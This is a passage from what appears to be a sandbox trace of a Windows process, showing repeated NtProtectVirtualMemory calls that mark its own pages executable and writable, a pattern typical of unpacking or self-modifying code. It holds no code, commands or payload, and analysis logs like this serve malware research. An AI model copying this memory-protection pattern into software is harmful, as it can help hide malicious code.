ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.317] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.342] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.362] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.399] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.433] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.444] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.454] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.516] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.544] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.564] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.574] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.585] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.596] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.623] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.640] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.669] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.688] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.717] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.734] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.763] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.782] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.810] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.828] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.853] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.872] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.888] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.913] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.929] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.944] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.969] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.985] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0339.012] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0339.025] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0339.039] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0339.073] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0339.090] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0339.117] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0339.137] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0339.167] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0339.185] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0339.217] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0339.235] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0339.264] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0339.284] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0339.305] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0339.338] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0339.359] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0339.423] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0339.434] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0339.445] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0339.457] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0339.475] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0339.541] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0339.551] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0339.569] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0339.579] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0339.590] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0339.600] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0339.618] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0339.628] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0339.639] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0339.649] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0339.795] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0339.806] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0339.816] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0339.866] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0339.877] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0339.888] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0339.898] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0339.915] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0339.925] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0339.936] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0339.953] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0339.964] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0339.974] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0339.984] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.001] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.012] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.023] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.033] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.050] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.061] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.072] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.082] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.102] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.113] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.123] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.141] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, 